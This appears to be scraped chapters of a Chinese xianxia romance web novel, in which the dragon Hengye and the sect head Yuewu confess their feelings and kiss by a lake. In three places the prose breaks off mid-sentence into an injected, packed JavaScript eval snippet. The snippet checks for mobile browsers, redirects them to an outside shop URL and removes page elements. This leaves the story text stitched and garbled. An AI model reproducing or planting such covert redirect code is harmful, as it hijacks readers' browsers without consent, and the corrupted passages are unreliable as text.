珩夜难以控制地、想要离开了。他无法一直面对一个只叫他心慌意乱,不给出任何答复的人。他的心始终裸露着、悬挂着,萌生出一股难以抗拒的羞耻和伤痛。 月芜终于察觉到他的难耐,终于开口叫住他: “珩夜。” 太多话停留在他喉咙里,最终只挤出来两个字,月芜的声音有些沙哑。 他蹙眉顿了顿,勉强做到平淡开口:“你这个月……感受如何?” 或许他原本想问的是“你过得怎么样”,但他突兀地变了。 珩夜没有听出来,他只自嘲,等待半天只等到这么一句公事公办的询问。 珩夜平静道:“我现在不想和‘掌教’谈论公务,也不是你的学生。” “……”月芜心中搜刮一番,“方才,为何一直……站在蛟尸旁边?”他闭了闭眼,补充一句,“……在想什么?” 至少这是一句问向“珩夜”的话,不是掌教问天刑司的仙官,也不是老师提问他的学生。 珩夜低头看向他,看他低垂的眉眼、宁静的神情,像慈悲俯瞰世人的神像。他想向他祷告,想得到他的垂怜。 “一开始,我也错认了,”珩夜说得有些艰难,他试着坦诚自己的伤怀,“那蛟即将化龙,又吸了我的龙气,杂糅成它自己的气息,我还以为……” 他顿了顿:“极渊龙族以身补天,他们……没有尸骸。如果这片天地仅剩我一条龙,我以为,至少,我能在今天看到同伴的骸骨……但不是。它是一只蛟。不是龙。” 珩夜默然。 他负手在身后,右手握紧了左臂:“我想起我的剑,那是我从龙族补天之地,在云海中取出的一柄剑,是先辈赠与我的礼物。” “我心里有一些空……”珩夜低声说,“月芜,我是天地间唯一一条龙。” 唯一。意味着孤独。 所以,他用剑将裂穴照亮时,想的是他从未见面,也没有留下尸骸的亲族……所以,他沉默着站在蛟尸前的孤单身影,那么让他在意……月芜想起最初比剑时,珩夜意气风发的姿态—— “我剑名为‘霞天’,”那小龙举起手中的剑,自得一笑,“很不错,对吧?” 确实值得骄傲。 月芜忽然想,这样一条龙,怎么可以“沉默寡言”呢?他当恣意遨游、洒脱不羁才对。 珩夜应该一直骄傲下去,而不是此刻……此刻这样怅然若失的孤寂。 思及的一瞬,束缚在他喉间的枷锁竟然松动,他心中涌现一股酸楚,迫切地、推动着他。 “……我没有讨厌你,珩夜,”月芜艰难地开口,低声说,“从未。” 他说得有些突兀。 珩夜微微怔住。这句话他等了一个月,从那盘被拒绝的枣糕等到现在。他等了太久,以至于听到的时候,先涌上来的不是欣喜,而是酸涩——原来他并不是讨厌我。 但只是不讨厌吗? 珩夜下意识地上前:“你不讨厌,也不喜欢,是吗?” 月芜鼻子有点发酸了,他不想被逼迫,也说不出更多。 这样一来,他只能继续沉默。 但好像,适得其反。珩夜并没有被他的“不讨厌”安慰,他感受过漫长的孤寂,忍耐过漫长的犹豫,等待过漫长的沉默,得到的仍然是最初的“不喜欢”。 月芜眼前那堵胸膛上下起伏,他想避开不看,但珩夜问他:“为什么?” 他问得很轻,只是声音让月芜无法忽视,他没有抬头,他在想珩夜是不是快哭了,他感到恐惧,他不知如何处理对方递交过来的沉重的感情。 但珩夜质问他:“为什么?” “如果一丝喜欢都没有,”珩夜逼近他,咬牙问他,“为什么你听见‘龙尸’两个字会失态?” “老师对学生会这样失态吗?掌教对自己的属官会这样失态吗?”珩夜的胸膛几乎抵到月芜的,那双强势的、非人的眼睛,也死死将他抓住,“月芜,你为什么失控?你因为我失控,但你不喜欢我,这是为什么?” 沉默,他无法继续忍受沉默,珩夜心中几乎是恨了,为什么月芜对他这么狠心!他不再犹豫,径直抓住月芜的手腕,瞬间!霜骸出鞘,冰冷的剑锋抵在珩夜喉间—— 珩夜没有理会。 他盯着月芜紧绷的脸色,和他紧紧抿住的嘴唇。 “你杀死我好了。”珩夜将“杀”字咬紧,月芜曾对他说这话的咬字和节奏他记得一清二楚。珩夜上前一步,剑刃压住他的皮肤,再进一线便会被剑锋楔入,但他眉目沉凝,仿佛真的死了也无所谓! 月芜却猛然闭眼,霜骸剑立时后撤。 又是这样!珩夜咬牙。既然不舍,既然无法对他狠心拒绝,为什么不能给他答复,安定他的心呢! 珩夜的手指顺着月芜的腕脉往下,强势扣住他的手,与他十指交缠让他无处可去。珩夜低声冷笑:“你不舍得,是吗?” 他如愿看见月芜苍白的神色,看见这位高高在上的天刑司掌教,在他的逼迫下,缓缓后退。 他好像占据了上风,成为他二人中更强势的一方,但他并没有得到自己想要的。 愈发难以填平的空洞侵蚀着他。 “你也会对我心软,是吗?”他想得到更多的确认,想月芜赐予他更多的怜悯,喉间滚动而过的不是胜利者的喜悦而是越发无望的痛涩,“你是有一些喜欢我的,是不是?” 珩夜上前,月芜便后退,直到月芜背脊抵住身后的树干,无处可退了。珩夜看见他颤动的睫毛,和褪尽血色的脸。他突然觉得他的质问,只不过是在强求一个自己希望得到的结果。 他并没有“求真”,也仍旧“执着”。 和情爱相关的“道”太难了,他参悟不透。 他愣住,忽然放开了月芜的手,一时间感到一阵令人心惊的疲惫和倦怠。 “对不起,”他呆滞地说,仿佛不认识方才那个珩夜是谁,“月芜,我不该这样……对不起。” 他仓皇着,想要逃离。他以为月芜仍旧会沉默,或者气愤?或者推开他一走了之。 但一缕润泽细腻的温度勾住了他。珩夜微微一震——月芜的手指搭在他掌心,轻轻勾住了他。 他看向月芜。月芜只是不和他对视,偏头望向那片沉默的树林,低声说:“……无妨。” 天地忽然寂静了。 湖面有风吹过,掀起一阵微皱的涟漪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611007|205593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 方才那只蝴蝶早已不见,或许停在某朵花瓣上,就像月芜的手指停留在他掌心。 月芜看向那片静谧的树林,他闭上眼睛。 他不想再看见那抹低落、受伤又带着倔强的背影,所以在珩夜再一次离开前,他试着挽留。 一切终于安静。他不用回答珩夜问出的,那些他回答不了的问题。 龙的体温,经由指腹的触感传来,比夜明珠温暖得多。 月芜没有再思考什么“道”或者其他,他只是觉得、觉得指腹的触碰不足够。他只是发现,原来他可以不用回答,他去做就好了,不用言语的安抚或者解释,只需牵住他的手。 他将其他手指缓慢地并进去,搭在珩夜的掌心,微微握住。 月芜用余光观察了一下。龙好像已经傻掉了。 他一动不动,像一个木偶,怕稍微一动就会失去平衡。 看上去仍旧易碎,脆弱。 很是可怜。 原本一条无法无天的龙,被一根红线左右,不得不接受他这样难以接近的人作为……月芜闭了闭眼睛。 他发现,他只这样轻轻搭住他,珩夜便走不了了。就像那时在殿中,他轻轻搭住他的手臂,就得到一条乖乖听话的龙。 明明那份枣糕之前,他们关系还算不错。 小龙却以为是自己的问题,实在可怜。 是他的错。 月芜心想。若不是绑上他这么一个人,龙也不会失去自己的骄矜。 珩夜好像比他想象中,更喜欢自己。 月芜终于意识到,为什么珩夜会那么伤心。 原来是因为他很喜欢自己。 这好像,给了他一点说话的勇气。 又或许,他只是不想看珩夜继续伤心下去。 也可能,因为他不想再练剑了,不想在练剑时一再厌恶自己的不曾解释和挽留。 他看着那条呆呆的龙,又避开视线,望向遥远的没有焦点的某处,轻轻道:“我不喜欢、三清境的食物……” 珩夜微微触动,目光静静地、很小心地落在他脸颊。 “也不喜欢这条红线……”但那条红线被他自己显化,缠绕在他们交握的手上。 “不喜欢西王母和天官的试探,”月芜慢慢地说,毕竟他有那么多“不喜欢”,“不喜欢星宿仙官,也不喜欢他们看你我时,那种理所当然的、谑弄的眼神。” “有时不喜欢仙界……有时不喜欢月亮……有时也……”月芜顿了顿,“不喜欢练剑。” 珩夜听了他很多个不喜欢,都默默记在心里。而后重新问了一遍:“那你有没有……不喜欢我?” “……”月芜喉间滚动,低低地说,“嗯……不喜欢你、转身就走的样子。” 珩夜差点窒息在他话语的停顿中,听到最后才缓过一阵,又觉得自己是不是没听清楚:“……什么?” 月芜飞快地看了他一眼又避开:“你在问什么?” “我问,那你有没有,不喜欢我?”珩夜觉得,他刚刚好像捕捉到了什么,他只是不敢确定,想再确定一下。 “……”或许有人就是听不懂,需要他明确说出口的答案。 月芜不知珩夜为何会这样,但因为是珩夜,他勉强可以包容——看在他下界修复地脉的份上—,或者因为他是个善学的学生——月芜一边给自己找借口,一边又觉得自己似乎什么也没想,只是单纯地答复他,给他一个答案,不再让他伤心。 于是他轻声说:“没有。” 珩夜觉得自己微弱的心跳重新注入生机,又开始“扑通扑通”了。 他很怕这是个意外,或者梦境,或者月芜一瞬间的慈悲,下一刻就会恢复成冰冷。 他很想留在此刻,希望时间不要再往前走。 月芜的手指在他掌心很轻地动了一下,珩夜紧紧将他握住,有些紧张:“那你会不会,不喜欢这样?” 他怕月芜不懂,捏了一下他的手。 月芜没有说话,也没有挣扎。 “……”珩夜用力深呼吸,压抑微红的眼眶。 “……”月芜不知自己该说些什么,于是默然回握住他。 “月芜,”珩夜低着头,将额头隐约靠在月芜肩上,月芜没有拒绝,没有躲,于是珩夜说,“下界一个月,我一直都……很想你。” 22.轻落吻 他说:“下界一个月,我一直都……很想你。” 他说:“我看到天官和水官,才知道原来和‘人’做道侣是这样的。” 他说:“我很羡慕……水官明知我羡慕,还总取笑我。” 珩夜直身看向他,有些委屈:“我以为你不会为我下界。” 月芜偏过头去,低声道:“蛟尸问题,是公务……” 如果他眼神没有闪避,如果他说话没有犹疑,如果不是他们还交握的双手,珩夜就信了。 他觉得很好笑,同时也很郁闷:“你为什么这么别扭,为什么不愿意承认自己的心?” “……”月芜真的思考了,他想得很认真,最终猜测,“……可能因为我是人,不是龙。” 珩夜没有立刻接话。月芜垂下眼,他知道这个答案并不完整,但他能给的只有这么多。 珩夜在想别的——人和龙有什么区别?珩夜低头看他,仔细分辨。 珩夜突然发现,此刻他们靠得很近,比从前任何一次都近。 他能清晰看见月芜的发丝,根根分明的眉毛,微微眨动、颤动的眼睫,挺直的鼻梁,细腻的皮肤,和他反复抿住的、红润的嘴唇。 珩夜想起人和龙的区别——人会亲嘴,龙只会想缠在一起。 月芜又将嘴唇抿成一条直线了,偏过头不让他看。 “月芜,”珩夜很诚实地说,“此前我看你的嘴唇,你说我胡思乱想,其实我没有。我只是觉得好看,便看了。我不知你说的‘胡思乱想’是什么。” 月芜反应了片刻,才想起“此前”是哪回——是他说“再胡思乱想就给我滚出去”的那回——那时珩夜也在看他的唇。 “那时我不知道人会……”珩夜顿了顿,复刻从水官那里学到的词汇,“亲嘴。” “……”月芜不知他为何要用这样直白的字眼。 “但刚刚我确实胡思乱想了,”珩夜捏了捏他的手作为提醒,带着点好奇问,“是不是只有道侣才能亲嘴?” “……”月芜发现自己不喜欢的事情又多了一样,他不喜欢珩夜问出的、他无法回答的问题。 月芜没有回答。 珩夜问:“如果还不是道侣的话,人会做什么?” 月芜动了动手指,声音微哑:“不是已经在做了吗?” 原来是牵手。珩夜抿唇笑了。 “其实我有准备送你其他礼物,”珩夜用另一只手取出那颗可以变成玉屏的明珠,放在月芜掌心中,“这个,你会不会喜欢?” 月芜握在手中端详片刻,穿越空间的仙器非常罕见,何况珩夜这颗宝珠可以随心念变幻去到任何地方,他从未见过有这样神通的法器。 “送给我?为什么?”月芜问的是他为什么送。 “你那时说‘不喜欢’……我想可能是我送错了礼物。我回龙宫翻找,但我突然发现,这世上真正属于我的东西不多,”珩夜朝他笑了笑,“龙宫是天庭帮忙建造的,里面堆放的也都是他人赠与的礼物。但这颗珠子不是——” “它是我一出生就有的。” 月芜忽而觉得烫手了。 “我不知它从哪来,但我破壳时就抱着这颗珠子。它和霞天剑,是为数不多属于我的、我最珍贵的,”珩夜回答的是他为什么送这样东西,“我想把它送给你……你会喜欢吗?” “珠子……”月芜心中震颤,但他选择了一个最无关紧要的问题,“它没有名字吗?” “……我没想过,”珩夜没料到他关注的是这个,他期待道,“你给它取个名字?” “珩夜,人是很坏的,”月芜托着那枚宝珠,静静凝视它的光晕,“得到得太轻易,就不会珍惜了。” “可是,我只想把独属于我的、我最珍惜的,送给你。不是红线的原因,”珩夜试探着,捧起月芜的手,与他一道托着那颗明珠,“我自明事理后,便被送往三清境修习,前段时间才回到极渊……那座龙宫太大了,堆满宝物又如何,还是空空。” “我和阿母说了我的想法,阿母便说要找星君测算姻缘,给我寻找道侣相伴。可我在三清境数千载,也没有遇上什么喜欢的人,昆仑也没有。此前,我听说过你的名字,听说过你的样貌和手段。那天在天道法坛上,是我第一次见你——” “我看你站立法坛中央时,欣赏你的样貌;看你向天帝请判时,赞叹你的风骨;看你拔剑刳仙……我便想,这世上怎么有这么好看的人,和这么狠的剑……”珩夜回想起来,忍不住流露一些打趣的笑意。 月芜没有笑,他只静静地看着他,看着他的眼睛,好奇他眼中的自己,好奇珩夜为何对他产生喜欢这种感情。 “后来我们在大荒西海比剑……”珩夜与他对视,淡淡哂笑,笑自己愚笨,“不是我的剑在嗡鸣,是我的心在嗡鸣……” 月芜难以控制地,垂眸深呼吸了一下,他的心有点不舒服,好像龙的体温,把他的胸腔填满,好像有些太热了。 珩夜微微蹙眉,诉说自己的心意:“那条红线牵在你手上,我心中只有欢喜。我只觉得窃喜。因为我早就喜欢你了。没有红线,我也是喜欢你的。只不过有了它,我更有憧憬和希冀。” 他看向那颗明珠:“不论人是好的、坏的,现在,我只想把我最好的给你,只给你。你可以收下它吗?” 月芜眼睫颤动,静静地,将明珠放进珩夜衣襟中,伸手轻轻按住。 珩夜难以控制地紧绷身体。 “我知道你的心意了,”月芜深深呼吸,他低声说,“明珠放在你那,你帮我保管。” 珩夜草木皆兵地问:“这是你的拒绝吗?” 月芜触摸到龙的心跳,感知到龙的体温,他很慢地说:“不是。” 珩夜缓缓松懈,“嗯”一声。 “我好像没有什么可以给你……”月芜轻声说。 珩夜是有点难受的,但月芜今日主动牵他的手,他已经很满足。 珩夜道:“没关系。” 月芜的手还停留在他胸膛上,珩夜的答案让他的手指微微蜷缩,随即被珩夜抬手覆住,月芜没有抽离。 他很难克制,自己不去“胡思乱想”。他想到一些自己可以给的东西,又为这些绮思感到羞涩和惭愧。人比龙要复杂、世俗得多。 夜已经很深,月上中天,山影、湖色,越发安宁。 珩夜看向那平静的湖面:“下界之后,我去搬阻碍地脉的山石、去掏污泥,亲手劳作。我看见地脉湖泊变得丰富完整,我突然有一种,这世上多了一些属于自己的东西的感觉。” 于是月芜也向那湖光山色看去,看那副宛如墨色山水画的实景。 “你数千年伏案公务,”珩夜看向他的脸,很轻地问,“会不会、也是为了找到一些属于自己的东西?” “……”月芜有些发颤。他无法应对这样的珩夜,心中有很清晰地触动。 珩夜对他的喜爱,在他看来,太纯粹,太美好了,像一个梦。 如果珩夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们为什么要讨论这个? 月芜感到荒谬和好笑。 他们距离太近,眼中笑意难以遮掩,珩夜不说话了,只红着脸和他安静对视。 渐渐地,月芜也不笑了,他静静品味,珩夜看向自己的、专注的神情。 月色照亮孤寂。 山林遮掩行踪。 涟漪荡漾浪漫。 沉默滋生旖旎。 他们好像同样孤寂,同样青涩,同样浪漫,有同样的渴求。 月芜察觉到心中萌生的期待,像湖滩上细嫩的草芽,在夜风中微微悸动。 月芜企图克制——他忽然觉得自己有些不可理喻,他在任由自己坠落。这很荒唐,他试着停止。 他想打破沉默,问他“你现在又在想什么”,但珩夜的手指再度覆上他的嘴唇。 于是提问尚未出口,便已得到答案。 他脑海中一片空白。 月芜什么都没有做。 月芜什么都忘了做。 他没有应允,也忘记拒绝。 他没有靠近,也忘记远离。 他只是,阖目间,接到一个落下来的、温柔的吻。 仅此而已。 23.求我师 他应该推开的。但他没有。 他甚至在意识回归后,仔细感受——珩夜的唇很柔软,体温很高。他的吻很热。 对于一条连“亲嘴”和“接吻”都刚刚理解的龙,他的吻只是贴一下。 他们贴了一会儿。 珩夜抬起来,捧着他的脸,眼神有些迷离,低声说,“原来这就是……”他顿了顿,“接吻。” “嗯……”原来这就是接吻,月芜也是初次体验。月芜知道,珩夜仍在为“接吻”二字感到羞涩。 珩夜又贴了贴他的嘴唇,他似乎本能地感到不足够,但他不会更进一步了。 珩夜松开他,思考了一会儿。 月芜看着他,觉得他实在是……有点好玩。 “现在你和我、接吻了,”珩夜又开始提问,“我们是道侣了吗?” “……不是。”月芜说。 “哦,”珩夜低声笑了,“原来不是道侣也可以、接吻。难怪你刚刚不回答。” 珩夜的停顿太怪异了,每遇到“接吻”二字,他就要停顿咂摸一下。 月芜很想笑。他的笑意映在眼中,还带着点满足。 好像月影在涟漪上摇晃,湖光刹那间生动,山林中似乎有鸟雀梦中的呓语。 珩夜捧住他的脸,忽然沉迷:“月芜,你真的很美。” “……”很久没听见这样的形容,月芜沉默片刻,偏开眼睛。 “我是说真的,”珩夜摩挲他的脸,指背轻轻擦过,很迷失的样子,“我第一次见你就觉得……你很美。你的五官、容貌、身姿,芝兰玉树那样美,你持剑的样子和伏案的样子都很美……” 月芜不习惯这样直白的、对他外貌的评价。当上天刑司掌教后,没人敢在他面前说这些。 “……”月芜终于,试图离开,“皮囊而已。” 珩夜不许他离开,捧着他的脸,痴迷地、反复贴向他的嘴唇,唤他的名字,“月芜”,“月芜”。 他或许不知道,月芜有时连自己的名字也不喜欢。但他一直喊,让人心里发热。 “好了,”月芜尝试将他的手拿下来,“不要再亲了。” “嗯……”珩夜倒是很听话地松手,只是他那张可恶的嘴又开始问,“接吻只有这样吗?” 他很茫然,下意识感觉应当不止这些。 只贴一贴,虽然也让他难以平静,但好像不是那么足够。 “……”月芜又很想笑。他怕珩夜从他眼中看出,因此偏过了头。 珩夜从月芜的沉默中解读出一些额外的韵味,他拦住月芜想要离开的姿态,拦住他的腰,牵住他的手。 珩夜低头用鼻尖将他的脸蹭起来,迫使他看向自己。 “月芜,你教我,好吗?”珩夜蹭着他的鼻尖,笃定道,“你知道怎么接吻,但是不告诉我。” 月芜是想走的,也试着闪躲,但龙的力气,确实太大了。珩夜只是轻轻制住他,他便动不了。 怀抱着月芜的感觉太美妙了,珩夜不想月芜逃跑。他的手分别搭在月芜腰间和手上,面对怀中人偏头的躲避,他没有更多手段。珩夜一时激动,龙瞳不自觉翻出,下意识地,他叼住想逃的人的嘴唇。 叼住。 这个姿态让龙对“接吻”有了一些全新的、震撼的注解。 珩夜瞬间失控,把他紧紧按在树上,试着动了动嘴唇。 原来还能这样? 食欲和其他欲望有片刻的混淆。月芜的嘴唇很柔软,比他这个人、比他的剑、比他说出口的话要香甜得多。 他有些乱来,但他自己不知道。 珩夜沉浸在自己的追求和探索中,好似每次变换角度都是一份功勋。 月芜吃痛皱眉,用力推了推他,月芜看见珩夜的眼睛微微睁开,快速在龙和人之间变幻了几下,最终忍耐着,将自己放开。 他的吮吸有些太重了,月芜的嘴唇比方才更红,呼吸尚未平复,眉心也蹙起。 “……”珩夜有些心虚,“我是不是做错了?” 月芜按了按嘴唇,微微叹息。 “月芜?”珩夜重新试探着,轻轻牵住他的手。 他看着月芜的嘴唇,感觉那种想要亲吻的痴迷,像一种垂涎,一种饥渴,一种贪馋。 他的眼睛又隐隐泛出龙的暗金色,他竭力忍耐。 他见月芜没有拒绝,他似乎理解了什么,再度贴向月芜的嘴唇。 只是品尝过方才的柔软,他很难克制自己不进一步靠近,又担心自己的莽撞再度惹月芜不快。 在他不自觉想要吮吻之前,珩夜难耐地松开月芜喘息一声。他贴在月芜唇边哑声央求:“你教我,好吗?月芜?我想知道,怎么和你接吻……月芜……” “……”月芜希望珩夜别再说话了。 月芜伸手控制住珩夜的脸,克制地停顿,在迷离中犹豫……或许他不该这样。 “月芜,”珩夜的声音打断了他的思绪,珩夜哑声道,“求你……嗯?” 月芜感到自己脑中那根弦绷得太紧,已有崩脱之势,只剩危险的一丝,还在勉力维系理智。 珩夜覆住月芜捧在他脸上的手,沉默着靠近,贴住他的嘴唇。 于是最后那一丝也在震颤。月芜克制着没有动,但他闭上眼睛。珩夜也乖巧的没有动,像个等待夫子教学的学生。 月芜无法解释的情绪充盈在他心口,他不知这样的静默持续了多久,大约很久,久到他也有几分难耐,久到那根轻丝终于断裂——他颤抖着、试着抿动嘴唇,给予珩夜回应。 珩夜顿时一震,如果他是龙形,背鳍怕是要炸立起来。 一阵惘然和迷离笼罩着月芜。 他的理智迷失在龙的央求和乖巧中,他实在见不得珩夜放低姿态的模样,好像珩夜一往下沉,他就忍不住要把珩夜捞起来。 月芜也是第一次尝试接吻,第一次知道接吻的滋味。他的脸很热,不知珩夜手中的戒指是否也会发热,他好像不那么在乎,只是为此感到羞涩。 人的悟性总在这方面理解得很快。 一阵酥麻从丹田逸向四肢百骸。 不同于他们在大荒西海比剑的快意,这是另一种奇妙的、难以言说的快乐。 温度、声音、呼吸……种种交织而成的美妙与兴奋,一波一波汇入灵台,掀起一潮一潮的波澜。 他们在此刻互相属于彼此。 在仙人漫长、孤单的寿命中,在如此皎洁、干净的月光下,在珩夜亲手搭建起来的山色湖光里,一切都如此让人沉迷。 一点湿润的舌尖轻轻勾勒过珩夜的唇形和缝隙,珩夜很自然地接纳,尝到月色的怜惜和柔软。 原来这样是接吻。 龙的心里震撼到无以复加。 难怪人会喜欢接吻。 他也喜欢。 珩夜想,应该没有人会不喜欢接吻。 珩夜睁开一线眼睛,看见月芜微阖双目,泛起绯色的面颊,和他颤动的眼睫。 他更喜欢、更喜欢此刻的月芜。 原来这样是接吻。 月芜察觉到什么,眼睫微掀,与珩夜对视。他看见珩夜的青涩、单纯和专注。眼睫阖落,他静静品尝。 无意间,他勾缠到珩夜口中的小龙,月芜浑身发麻,隐约中,别有一番滋味。他报复式地,轻轻咬了它一下。捧在手中的珩夜微微一震,小龙试探着取悦他,向他奉献自己,一点挣扎都没有,好像他怎么咬都行。 实在惹人怜惜。月芜心中有些湿软。 珩夜无比陶醉,直到月芜将他放开,他还意犹未尽,沉浸在回味里。 “好了,”月芜声音哑着,“这样可以了吗?” 珩夜还是拦住他。他似乎发现了,月芜不再拒绝自己的靠近。 他揽住月芜的腰,从虚虚环绕,缓缓收紧,最终落到实处。珩夜的龙瞳缩紧成一线,呼吸也停顿——比他想象中还要细韧。他抱住月芜了,手臂像肢体的延伸,卷住了他想卷住的那个人。 龙渴望缠绕,和人会对接吻产生渴望是一样的。 被拥紧的瞬间月芜察觉危险,立时想要离开,却被珩夜掌住了脸,炙热的吻不由分说落了下来,要把人烫化。 “你……检查一下,我的功课,”珩夜难耐地喘息,呼吸起伏,含糊的声音沉没在唇齿间,“是这样吗,老师?” 这样调情的话让月芜感到难堪,但又很……很刺激,他好像并不讨厌。 学生向老师递交他的功课。 珩夜学得很到位,逐步复刻,节奏和动作,都一模一样,只是温度更加炙热。不知方才学得是有多聚精会神,才能做到这样。 直到复刻结束,慢慢的,学生的字迹开始潦草,耐心变得不足,开始信马由缰,想要一跃十步。 月芜的手在他衣襟上越攥越紧,直到脱力发颤。霜骸剑从他背脊脱出漂浮一旁,似乎不知该不该上前将某人逼退。谁都没管。 老师不太称职,老师自己也不怎么会,面对学生孜孜不倦的追问只能再三闪躲。 月芜开始推拒,没几下就被珩夜抓住,放在他肩颈上要月芜揽住自己。 逐渐热烈的痴缠让人无法抵抗,身后无法再退,月芜失去控制地,往下掉。 有什么东西粗壮而温热,牢牢圈住了他的腰,将他慢慢放下去。 他们似乎分开了片刻。从月芜面向他,变成月芜坐在他怀里。月芜被稳稳托着,轻巧地转了个方向,隔着衣物,他感受到鳞片的微硬。 大腿上也传来同样的触感,微微勒紧,月芜心头一跳,下意识想偏头去看,但他被珩夜掌控无法动弹。只一瞬,那东西便像被烫到似的僵硬、迅速抽走了。 珩夜紧紧拥住他的肩臂和腰身,强势地、又不乏温柔地和他耳鬓相依、唇舌交缠。 很快月芜无暇再想其他。 今夜的一切发生得都太迅速,尤其是吻。 月芜挣扎着,想要思考些什么。 可惜没有更多的空隙和机会。 数千年的孤寂,在这个夜晚成为他想要逃离的恐惧,于是他和另一具躯体相拥,在炽热的亲吻里迷离。 短暂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没有克制住的一时失控,暴露弱点后被对方命中,而后牵手滑落到亲吻,亲吻变成现在的纠缠。这就是他不敢说出口的原因。 可是,一味堵截洪流,最终还是会决堤。就像此前他那一瞬间的失控,并非“克制”二字可以限制。 在未知选择前艰难,在面对选择时犹豫,一旦做出选择,就顺其自然了。 他们贴了一会儿,珩夜放开他,笑了。 珩夜什么也没说,笑容有些得意。 月芜离开他的臂弯,垂眸整理衣摆。 珩夜虚虚环抱着月芜,看月芜在自己怀中端正坐好,心中觉得可爱。 他想到一个问题:“我们不是道侣,那是什么关系?” 月芜想了想,说:“是可以接吻的关系。” 珩夜又笑,抵着他的额头,而后露出一些眷恋和茫然:“今天晚上好像做梦一样。” “……”他又何尝不是。 “你会不会明天醒来就不一样了?又对我冷冰冰的?”珩夜很务实地问。 “……”月芜一窒,他不是没想过。 “月芜,”珩夜觉得好笑,“你不许这样对我。” “……”月芜艰难地接受,看着自己的衣摆,闭了闭眼睛,淡声道,“外人面前,注意分寸。” “嗯……”珩夜低声笑起来。 “笑什么?”月芜飞快地瞥去一眼,他以为珩夜在笑自己。 “我在想,”珩夜笑说,“我们不是‘外人’。” “……”原来是这样,月芜停顿片刻,“自然……外人不会接吻。” 珩夜笑声闷在胸膛里,微微震动。珩夜把他往怀里拢了拢。他的手触碰到月芜腿侧,月芜竭力忍住瑟缩,他怕他们之间继续向下沦落,话题一转,忽而论起方才。 “刚才……”他停了一下,声音已经很轻,“那是什么?” “嗯?”珩夜顿了顿,见月芜视线落在自己腰侧往后看,明白他在问什么,微微缩紧腰腹,“嗯……”他笑了下,“你知道的……龙的部分。” 忽略发热的戒指,月芜垂目:“我看看。” 他方才没能看清。那条尾巴。 “……不行。” 小龙第一次拒绝他。月芜抬眼看了过去:“为何?” “……”珩夜竟然犹豫。 戒指越来越热,难得的拒绝让月芜好奇:“你在想什么?” “……我什么也没想,”珩夜索性抱住他,将他拖近自己往下按了按,月芜愣住了,珩夜慢吞吞地说,“我只是,需要平复一下。” “……哦。”月芜觉得好笑,一定是他太过困倦,才引发这个问题——他已经一个月没能好好休息。 月色西渐,好像离他们远了一些,光晕喑哑,拂过一缕倦怠的风。 月芜静静等他平复,也在心中平复今晚发生的一切。 他以为自己会后悔,但没有。他以为自己会不安,似乎也没有。他以为自己卑劣,但好像,珩夜的言行告诉他并不是这样,他被认真细致地对待…… 内心的褶皱被一一抚平。月芜等得太久,竟这样睡着了。 他甚至端庄地坐着,腰背挺直,虽然是坐在珩夜腿上。 珩夜看他的睡颜,心中充满怜爱。 他酝酿、忍耐、犹豫,终究小心翼翼地伸手,将月芜拨近自己的肩头。 月芜没有醒来,乖觉地靠在他身上,好像倦鸟终于找到,属于他的枝头。